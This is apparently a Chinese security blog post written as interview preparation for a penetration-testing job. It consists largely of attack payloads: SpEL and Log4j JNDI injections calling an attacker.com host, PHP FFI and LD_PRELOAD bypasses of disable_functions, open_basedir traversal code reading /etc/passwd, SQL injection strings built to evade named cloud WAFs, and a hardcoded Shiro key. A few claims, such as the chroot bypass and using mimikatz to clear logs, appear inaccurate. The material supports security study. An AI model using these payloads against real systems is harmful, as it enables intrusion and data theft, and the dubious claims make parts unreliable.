安全領域各種資源,學習文檔,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各種好玩的項目及好用的工具,歡迎關注。
目錄
天融信[社招]滲透測試工程師
一、Java Spring Boot組件漏洞
1. CVE-2018-1270(WebSocket RCE)
2. CVE-2018-1273(Spring Data SpEL注入)
3. Actuator未授權訪問
二、Weblogic漏洞與協議利用
三、ThinkPHP+寶塔WebShell繞過
1. disable_functions繞過
2. 寶塔環境突破
四、Android四大組件安全風險
五、Shiro 550 vs 721
六、驗證碼繞過方法
七、SQL寬字節注入實例
八、HTTP 304狀態碼
九、Log4j2 Lookup風險(CVE-2021-44228)
十、滲透測試標準流程
十一、漏洞驗證雙視角
十二、護網實戰工作清單
十三、云WAF對抗技術
1. 定位云WAF真實IP
2. SQL注入繞過示例
十四、命令注入繞過寶塔限制
十五、溯源技術框架
十六、安全設備實戰經驗
十七、網絡問題排查步驟
十八、WAF繞過技術矩陣
十九、寶塔WAF繞過方案
1. SQL注入繞過
2. 文件讀取繞過
二十、云WAF定位技術
1. IP定位
2. 歷史記錄分析
二十一、云WAF SQL注入繞過
繞過原理:
二十二、命令注入突破寶塔限制
1. open_basedir繞過
2. disable_functions繞過
天融信[社招]滲透測試工程師
1. **Java Spring Boot 組件及其漏洞**- **Spring Websocket RCE (CVE-2018-1270)**:此漏洞存在于Spring-messaging模塊的WebSocket實現中,允許攻擊者通過發送特定消息至內存中的STOMP代理,進而導致遠程代碼執行(RCE)。- **Spring Data RCE (CVE-2018-1273)**:該漏洞源于SpEL表達式注入,攻擊者可通過注入惡意SpEL表達式,在Spring Data組件中執行任意命令。- **Spring Data REST RCE (CVE-2017-8046)**:Spring Data REST暴露的對象可通過URL操控,攻擊者通過精心構造的JSON數據傳遞給服務器,從而在服務器上執行任意Java代碼。- **Spring Boot 目錄遍歷 (CVE-2021-21234)**:Spring Boot Actuator中的logview功能因未能充分校驗基本文件夾參數而導致目錄遍歷漏洞,攻擊者可借此訪問超出日志記錄基目錄以外的文件。- **Spring Actuator 未授權訪問**: 若Spring Boot應用中的Actuator端點配置不當,可能導致敏感信息泄露、XML外部實體注入(XXE)、甚至RCE等安全風險。 2. **Weblogic常見漏洞及IIOP/T3協議** 3. **ThinkPHP結合寶塔環境的WebShell繞過方法** - disable_function插件繞過: 攻擊者可能會利用某些方式繞過disable_function的安全限制來上傳并執行WebShell。 4. **Android測試中與Web測試相關的四大組件**- **Activity、ContentProvider、BroadcastReceiver、Service** 5. **Shiro 550與721漏洞區別**- **Shiro-550**:主要涉及Shiro rememberMe功能的反序列化漏洞,由于默認加密密鑰硬編碼,攻擊者可構造惡意對象序列化后放入Cookie,從而在服務器端執行惡意代碼。- **Shiro-721**:相較于550,Shiro在此版本中對rememberMe字段使用AES-128-CBC加密,但仍存在 Padding Oracle攻擊的可能性,攻擊者可以構造惡意Payload實現反序列化攻擊。盡管key不再是硬編碼,但仍然是動態生成并在登錄后用于生成惡意rememberMe Cookie。 6. 驗證碼繞過方法 7. 邏輯漏洞示例 8. SQL注入中的寬字節注入概念與實例 9. HTTP狀態碼304及其在協商緩存中的作用 10. Log4j2框架下Lookup服務引發的安全風險 11. Fastjson反序列化漏洞原理與利用手法 12. 滲透測試的整體思路 13. 如何驗證漏洞報告的真實性(包括運維與滲透測試角度) 14. 描述護網經歷中完成的具體工作內容 15. 溯源經歷分享 16. 接觸過的安全設備及是否有實際操作經驗 17. 對于客戶反映的網絡訪問問題排查步驟 18. WAF繞過的一系列思路,包括但不限于SQL注入、正則繞過、編碼方式繞過、Content-Type篡改、Unicode繞過等 19. 特定場景下繞過寶塔WAF的方法 20. 尋找云WAF部署位置的思路 21. SQL注入針對云WAF的繞過技術 22. 命令注入繞過方法,尤其是在寶塔環境中應對open_basedir和disable_functions限制的手法
一、Java Spring Boot組件漏洞
1. CVE-2018-1270(WebSocket RCE)
- 原理:STOMP消息頭
selector
參數未過濾SpEL表達式http
CONNECT selector: T(java.lang.Runtime).getRuntime().exec('curl attacker.com')
- 影響版本:Spring Framework 5.0.0 - 5.0.5
- 修復:升級至≥5.0.6,配置
@EnableWebSocketMessageBroker
時添加.setSelectorHeaderEnabled(false)
2. CVE-2018-1273(Spring Data SpEL注入)
- 攻擊路徑:
POST /users?name[#this.getClass().forName("java.lang.Runtime").exec("id")]=test
- 防御:全局過濾
#{}
和${}
符號,禁用@Query
中的SpEL解析3. Actuator未授權訪問
- 風險端點:
/actuator/env
(泄露環境變量)
/actuator/heapdump
(獲取內存敏感數據)- 加固方案:
yaml
management: endpoints: web: exposure: include: health,info # 僅開放安全端點 endpoint: shutdown: enabled: false
二、Weblogic漏洞與協議利用
漏洞 協議 利用手法 修復方案 CVE-2020-2551 IIOP JNDI注入ldap://惡意地址 關閉7002端口 CVE-2019-2725 T3 繞過黑名單加載惡意類 限制T3協議訪問(7001) CVE-2017-10271 HTTP XMLDecoder反序列化 <object>
標簽刪除 wls-wsat.war
組件
三、ThinkPHP+寶塔WebShell繞過
1. disable_functions繞過
php
// 利用FFI執行命令(PHP≥7.4) $ffi = FFI::cdef("int system(const char *command);"); $ffi->system("id > /tmp/output");
2. 寶塔環境突破
- open_basedir繞過:
php
mkdir('/tmp/bypass'); chdir('/tmp/bypass'); ini_set('open_basedir','..'); // 向上穿越目錄
- WAF規則繞過:
union/*%0a*/select
→ 換行符分割檢測規則
四、Android四大組件安全風險
組件 攻擊場景 防御方案 Activity 導出組件未鑒權(android:exported=true) 顯式設置 exported="false"
ContentProvider URI路徑遍歷(content://com.example.DBProvider/../etc/passwd ) 啟用 pathPermissions
校驗BroadcastReceiver 惡意消息偽造(Intent攜帶敏感數據) 使用 LocalBroadcastManager
Service 未授權啟動(startService未校驗) 添加自定義權限檢查
五、Shiro 550 vs 721
特性 Shiro-550 Shiro-721 密鑰機制 硬編碼(默認 kPH+bIxk5D2deZiIxcaaaA==
)動態生成(需捕獲合法Cookie) 加密方式 AES-CBC弱加密 AES-CBC + Padding Oracle攻擊 利用工具 shiro-exploit.jar 一鍵化利用 需配合Burp Collaborator
六、驗證碼繞過方法
- OCR識別:Tesseract識別簡單圖形碼(成功率>80%)
- 接口重放:未綁定Session的驗證碼請求(
/captcha?t=timestamp
)- 邏輯缺陷:響應包返回驗證結果(如
{"code":0,"captcha_valid":true}
)- 短信轟炸:攔截驗證碼請求至攻擊者手機(Burp Repeater重放)
七、SQL寬字節注入實例
- 漏洞場景:MySQL + GBK編碼
- 攻擊輸入:
id=1%df' AND 1=1--
→ 轉義后:1%df\'
→ GBK解碼為1運'
- 防御方案:
java
// 強制UTF-8編碼 new String(request.getParameter("id").getBytes("ISO-8859-1"), "UTF-8");
八、HTTP 304狀態碼
- 協商緩存機制:
http
GET /logo.jpg HTTP/1.1 If-Modified-Since: Wed, 01 Jun 2025 07:28:00 GMT HTTP/1.1 304 Not Modified // 資源未變更,使用本地緩存
- 安全風險:緩存投毒(Cache Poisoning)篡改304響應頭注入惡意腳本
九、Log4j2 Lookup風險(CVE-2021-44228)
- 攻擊原理:
${jndi:ldap://attacker.com/Exploit}
觸發JNDI注入- 應急方案:
- 升級Log4j至≥2.17.0
- 添加JVM參數:
-Dlog4j2.formatMsgNoLookups=true
十、滲透測試標準流程
mermaid
graph TD A[信息收集] --> B[漏洞掃描] B --> C{是否可利用?} C -->|是| D[漏洞利用] C -->|否| A D --> E[權限提升] E --> F[橫向移動] F --> G[痕跡清理]
十一、漏洞驗證雙視角
驗證方式 運維視角 滲透視角 環境復現 Docker容器隔離測試 VMware快照還原 分析工具 Wireshark抓包分析流量特征 Burp Suite Intruder模塊爆破 無害化驗證 DNS外帶(ceye.io ) 執行 ping 127.0.0.1
十二、護網實戰工作清單
紅隊任務:
- 魚叉攻擊:偽造HR郵件投遞Excel 4.0宏病毒
- 橫向移動:利用PrintNightmare(CVE-2021-34527)獲取域控權限
- 痕跡清理:使用
mimikatz
清除日志
藍隊任務:
- 部署EDR實時阻斷可疑進程(如Carbon Black)
- 分析NetFlow流量檢測異常IIOP/T3連接
十三、云WAF對抗技術
1. 定位云WAF真實IP
- 查詢歷史DNS記錄:
securitytrails.com
- 全球Ping掃描:
fofa.info
搜索header="X-Cache: HIT"
2. SQL注入繞過示例
sql
/* 阿里云WAF繞過 */ SELECT/*!50000+0*/user,password FROM users WHERE id=1
十四、命令注入繞過寶塔限制
bash
# 繞過open_basedir mkdir -p /tmp/dir; cd /tmp/dir; chroot . # 繞過disable_functions /???/??t /???/p??sw? # 等價于 /bin/cat /etc/passwd
十五、溯源技術框架
mermaid
graph LR A[攻擊線索] --> B[IP溯源] A --> C[樣本分析] B --> B1[威脅情報平臺:VirusTotal] C --> C1[沙箱動態分析:Any.Run] B1 --> D[攻擊者畫像] C1 --> D
十六、安全設備實戰經驗
設備類型 操作經驗 應用場景 WAF 策略配置/日志分析 攔截SQL注入/CC攻擊 EDR 進程溯源/威脅狩獵 檢測勒索軟件 NGFW 策略優化/IPS調優 阻斷C2通信
十七、網絡問題排查步驟
mermaid
graph TD A[用戶反饋] --> B[鏈路測試] B --> C{是否通?} C -->|是| D[服務端口檢測] C -->|否| H[檢查本地DNS] D --> E{端口開放?} E -->|是| F[應用日志分析] E -->|否| G[防火墻策略檢查]
十八、WAF繞過技術矩陣
類型 方法 案例 SQL注入 Unicode編碼:%u0055NION %u0053%u0045%u004c%u0045%u0043%u0054
正則繞過 換行符分割:union%0aall%0aselect 繞過 union\s+select
規則Content-Type篡改 表單轉文件上傳: Content-Type: multipart/form-data
繞過JSON參數檢查
十九、寶塔WAF繞過方案
1. SQL注入繞過
sql
SELECT/*bt*/user FROM users # 注釋符干擾規則
2. 文件讀取繞過
http
GET /static/%2e%2e/etc/passwd HTTP/1.1 # URL編碼繞過路徑檢測
二十、云WAF定位技術
1. IP定位
bash
# 真實IP發現 dig +short target.com A # 云WAF IP dig +short target.com TXT # 查詢SPF記錄中的真實IP
2. 歷史記錄分析
- 工具:
securitytrails.com
- 關鍵詞:
historical DNS records
二十一、云WAF SQL注入繞過
sql
/* 騰訊云WAF繞過 */ x=1+union/*!00000all*/select 1,2,3
繞過原理:
利用MySQL版本特性注釋
/*!50000*/
中的數字大于真實版本號(如MySQL 5.7用/*!60000*/
)
二十二、命令注入突破寶塔限制
1. open_basedir繞過
ph
<?php mkdir('/tmp/exp'); chdir('/tmp/exp'); ini_set('open_basedir','..'); // 目錄穿越 chdir('..'); chdir('..'); readfile('/etc/passwd'); ?>
2. disable_functions繞過
bash
# LD_PRELOAD劫持 echo '<?php putenv("LD_PRELOAD=/tmp/hack.so"); mail("","","",""); ?>' > shell.php